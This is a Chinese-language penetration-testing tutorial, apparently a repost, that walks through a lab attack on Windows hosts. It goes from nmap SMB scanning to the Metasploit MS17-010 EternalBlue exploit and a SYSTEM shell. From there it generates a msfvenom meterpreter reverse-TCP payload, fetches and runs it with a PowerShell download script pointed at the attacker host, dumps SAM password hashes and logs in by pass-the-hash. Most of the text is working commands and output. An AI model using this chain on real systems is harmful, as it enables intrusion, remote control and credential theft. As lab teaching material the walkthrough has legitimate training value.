本文通过实例演示如何使用Kali Linux进行渗透测试，包括利用Nmap进行服务扫描、漏洞探测及利用MS17-010漏洞攻击目标主机，最终获取稳定的Meterpreter会话。
利用kali进行渗透测试
0x00摘要
该文章转载自安全小飞侠，在kali下进行渗透测试演示，对于渗透测试的学习和理解非常有借鉴意义。
0x01案列分析
实验环境：
目标靶机：10.11.1.0/24
攻击机：Kali Linux (10.11.0.79)
信息收集：
利用nmap扫描存在smb服务的主机：
# nmap -A -p 139,445 10.11.1.1-254 -oG smb_service.txt
# cat smb_service.txt | grep -i windows | cut -d" " -f2
10.11.1.5
10.11.1.31
10.11.1.49
10.11.1.50
10.11.1.73
10.11.1.128
10.11.1.145
10.11.1.202
10.11.1.218
10.11.1.220
10.11.1.223
10.11.1.227
10.11.1.229
10.11.1.230
# cat smb_service.txt | grep -i open | cut -d" " -f2 > smb_server_all.txt扫描存在smb漏洞的主机：
# find / -name smb*vuln*.nse
/usr/share/nmap/scripts/smb-vuln-cve2009-3103.nse
/usr/share/nmap/scripts/smb-vuln-ms06-025.nse
/usr/share/nmap/scripts/smb-vuln-cve-2017-7494.nse
/usr/share/nmap/scripts/smb-vuln-ms07-029.nse
/usr/share/nmap/scripts/smb-vuln-ms17-010.nse
/usr/share/nmap/scripts/smb-vuln-conficker.nse
/usr/share/nmap/scripts/smb-vuln-ms08-067.nse
/usr/share/nmap/scripts/smb-vuln-regsvc-dos.nse
/usr/share/nmap/scripts/smb-vuln-ms10-054.nse
/usr/share/nmap/scripts/smb-vuln-ms10-061.nse
# for vul in $(find / -name smb*vuln*.nse | cut -d"/" -f 6); do nmap -v -p 139,445 --script=$vul -iL smb_server_all.txt -oN smb_vulns_$vul.txt; done
# cat smb_vulns_smb-vuln-*.txt | grep IDs:
| IDs: CVE:CVE-2009-3103
| IDs: CVE:CVE-2009-3103
| IDs: CVE:CVE-2009-3103
| IDs: CVE:CVE-2009-3103
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143
| IDs: CVE:CVE-2017-0143漏洞利用：
检查并验证存在smb ms17-010漏洞的主机：
# cat ../scripts/smb_vulns_smb-vuln-ms17-010.nse.txt
# Nmap 7.50 scan initiated Mon Jul 3 13:57:06 2017 as: nmap -v -p 139,445 --script=smb-vuln-ms17-010.nse -iL smb_server_all.txt -oN smb_vulns_smb-vuln-ms17-010.nse.txt
Nmap scan report for 10.11.1.5
Host is up (0.24s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:50:56:89:35:AF (VMware)
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
... ...
Nmap scan report for 10.11.1.220
Host is up (0.24s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:50:56:89:15:14 (VMware)
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
... ...
Nmap scan report for 10.11.1.230
Host is up (0.25s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:50:56:89:5C:19 (VMware)
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Jul 3 13:57:53 2017 -- 19 IP addresses (19 hosts up) scanned in 46.85 secondsIP: 10.11.1.5 利用失败
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
GroomAllocations 12 yes Initial number of times to groom the kernel pool.
GroomDelta 5 yes The amount to increase the groom count by per try.
MaxExploitAttempts 3 yes The number of times to retry the exploit.
ProcessName spoolsv.exe yes Process to inject payload into.
RHOST yes The target address
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VerifyArch true yes Check if remote architecture matches exploit Target.
VerifyTarget true yes Check if remote OS matches exploit Target.
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf exploit(ms17_010_eternalblue) > set RHOST 10.11.1.5
RHOST => 10.11.1.5
msf exploit(ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.11.0.79:4444
[*] 10.11.1.5:445 - Connecting to target for exploitation.
[+] 10.11.1.5:445 - Connection established for exploitation.
[!] 10.11.1.5:445 - Target OS selected not valid for OS indicated by SMB reply
[!] 10.11.1.5:445 - Disable VerifyTarget option to proceed manually...
[-] 10.11.1.5:445 - Unable to continue with improper OS Target.
[*] Exploit completed, but no session was created.IP: 10.11.1.230 同样地，利用失败了
msf exploit(ms17_010_eternalblue) > set RHOST 10.11.1.230
RHOST => 10.11.1.230
msf exploit(ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.11.0.79:4444
[*] 10.11.1.230:445 - Connecting to target for exploitation.
[+] 10.11.1.230:445 - Connection established for exploitation.
[+] 10.11.1.230:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.11.1.230:445 - CORE raw buffer dump (25 bytes)
[*] 10.11.1.230:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 10.11.1.230:445 - 0x00000010 74 65 20 4e 20 37 36 30 30 te N 7600
[!] 10.11.1.230:445 - Target arch selected not valid for arch indicated by DCE/RPC reply
[!] 10.11.1.230:445 - Disable VerifyArch option to proceed manually...
[-] 10.11.1.230:445 - Unable to continue with improper OS Arch.
[*] Exploit completed, but no session was created.IP: 10.11.1.220 成功利用并反弹了一个shell回来
msf exploit(ms17_010_eternalblue) > set RHOST 10.11.1.220
RHOST => 10.11.1.220
msf exploit(ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.11.0.79:4444
[*] 10.11.1.220:445 - Connecting to target for exploitation.
[+] 10.11.1.220:445 - Connection established for exploitation.
[+] 10.11.1.220:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.11.1.220:445 - CORE raw buffer dump (51 bytes)
[*] 10.11.1.220:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 10.11.1.220:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
[*] 10.11.1.220:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
[*] 10.11.1.220:445 - 0x00000030 6b 20 31 k 1
[+] 10.11.1.220:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.11.1.220:445 - Trying exploit with 12 Groom Allocations.
[*] 10.11.1.220:445 - Sending all but last fragment of exploit packet
[*] 10.11.1.220:445 - Starting non-paged pool grooming
[+] 10.11.1.220:445 - Sending SMBv2 buffers
[+] 10.11.1.220:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.11.1.220:445 - Sending final SMBv2 buffers.
[*] 10.11.1.220:445 - Sending last fragment of exploit packet!
[*] 10.11.1.220:445 - Receiving response from exploit packet
[+] 10.11.1.220:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.11.1.220:445 - Sending egg to corrupted connection.
[*] 10.11.1.220:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.11.0.79:4444 -> 10.11.1.220:62009) at 2017-07-04 03:08:40 -0400
[+] 10.11.1.220:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.11.1.220:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.11.1.220:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system后渗透利用：
在上一步中我们成功地从IP：10.11.1.220上反弹了一个shell回来，但很显然这不是一个完美的交互式的shell且不稳定可靠，那么接下来我们该怎么办呢？首先，我们想到的是获得一个功能更加强大且稳定可靠的meterpreter。
检查目标系统的操作系统版本：
C:\Windows\system32>dir c:\
dir c:\
Volume in drive C has no label.
Volume Serial Number is A49A-E592
Directory of c:\
12/27/2013 11:37 PM <DIR> Ftp Root
07/13/2009 07:20 PM <DIR> PerfLogs
12/28/2013 02:15 AM <DIR> Program Files
12/28/2013 10:03 PM <DIR> Program Files (x86)
12/27/2013 11:37 PM <DIR> temp
08/02/2012 01:59 PM <DIR> Users
12/27/2013 11:37 PM <DIR> Windows
0 File(s) 0 bytes
7 Dir(s) 28,860,628,992 bytes free显然目标系统是一个64位的Windows server 2008的服务器。
接下来，生成一个64位windows的meterpreter payload：
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker ip> LPORT=<listen port> -f exe -a x64 --platform win -o mp_64.exe注：32位的windows的meterpreter payload：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker ip> LPORT=<listen port> -f exe -a x86 --platform win -o mp_86.exe上传meterpreter payload (mp_64.exe) 至攻击机的web目录中(/var/www/html/payload)以便目标机可以通过http链接来下载它。
重新开启一个msfconsole并开启监听。
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > set LHOST 10.11.0.79
LHOST => 10.11.0.79
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > run
[*] Started reverse TCP handler on 10.11.0.79:8080
[*] Starting the payload handler..利用反弹的shell创建用于下载我们准备好的meterpreter payload的powershell脚本，然后执行脚本下载payload（mp_64.exe）并执行。
c:\Users\Administrator\Desktop>echo $storageDir=$pwd > wget.ps1
echo $storageDir=$pwd > wget.ps1
c:\Users\Administrator\Desktop>echo $webclient=New-Object System.Net.WebClient >>wget.ps1
echo $webclient=New-Object System.Net.WebClient >>wget.ps1
c:\Users\Administrator\Desktop>echo $url="http://10.11.0.79/payload/mp_64.exe" >>wget.ps1
echo $url="http://10.11.0.79/payload/mp_64.exe" >>wget.ps1
c:\Users\Administrator\Desktop>echo $file="mp_64.exe" >>wget.ps1
echo $file="mp_64.exe" >>wget.ps1
c:\Users\Administrator\Desktop>echo $webclient.DownloadFile($url,$file) >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
c:\Users\Administrator\Desktop>type wget.ps1
type wget.ps1
$storageDir=$pwd
$webclient=New-Object System.Net.WebClient
$url="http://10.11.0.79/payload/mp_64.exe"
$file="mp_64.exe"
$webclient.DownloadFile($url,$file)
c:\Users\Administrator\Desktop>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
c:\Users\Administrator\Desktop>mp_64.exe至此，我们成功地获得了一个功能强大的meterpreter，并可以很容易去dump hash为更进一步的渗透做准备。
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 10.11.0.79:8080
[*] Starting the payload handler...
[*] Sending stage (1189423 bytes) to 10.11.1.220
[*] Meterpreter session 1 opened (10.11.0.79:8080 -> 10.11.1.220:49326) at 2017-08-09 03:57:36 -0400
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
help Help menu
info Displays information about a Post module
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for 'load'
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system's local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
meterpreter > screenshot
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0598acedc0122622ad85afc9e66d329e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bca55919186bf4443840164612ce9f77:::
kevin:1106:aad3b435b51404eeaad3b435b51404ee:aef3d57f355a02297fc386630a01449e:::
robert:1110:aad3b435b51404eeaad3b435b51404ee:0d3f32016ee8a42ba768d558875d57e5:::
avfisher:1120:aad3b435b51404eeaad3b435b51404ee:ef28083240cb79a25adb4290ce6cb67b:::
MASTER$:1000:aad3b435b51404eeaad3b435b51404ee:e0a6ad80117cbe539c459dafc5291f27:::
SLAVE$:1103:aad3b435b51404eeaad3b435b51404ee:789cf984d53d9616fca933d37e974209:::
OBSERVER$:1111:aad3b435b51404eeaad3b435b51404ee:d60552ce7c9dc4fabdf0ba4e5fc46f69:::
补充：
拿到了Hash之后我们就可以进行Pass The Hash攻击了，例如，从上一步我们可以看到Administrator的NTLM Hash是
aad3b435b51404eeaad3b435b51404ee:0598acedc0122622ad85afc9e66d329e因此可以直接利用这个Hash登陆目标机器10.11.1.220:
# export SMBHASH=aad3b435b51404eeaad3b435b51404ee:0598acedc0122622ad85afc9e66d329e
# pth-winexe -U Administrator% //10.11.1.220 cmd
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
thinc\administrator
C:\Windows\system32>0x02 小结
总结一下本案例中的渗透思路：
- 利用nmap批量扫描开放smb服务端口的主机
- 利用nmap扫描存在smb漏洞的服务主机
- 利用ms17-010验证和攻击目标主机并反弹shell
- 制作更加稳定可靠的meterpreter payload
- 利用powershell脚本下载meterpreter并执行
- 获得meterpreter为进一步渗透做准备
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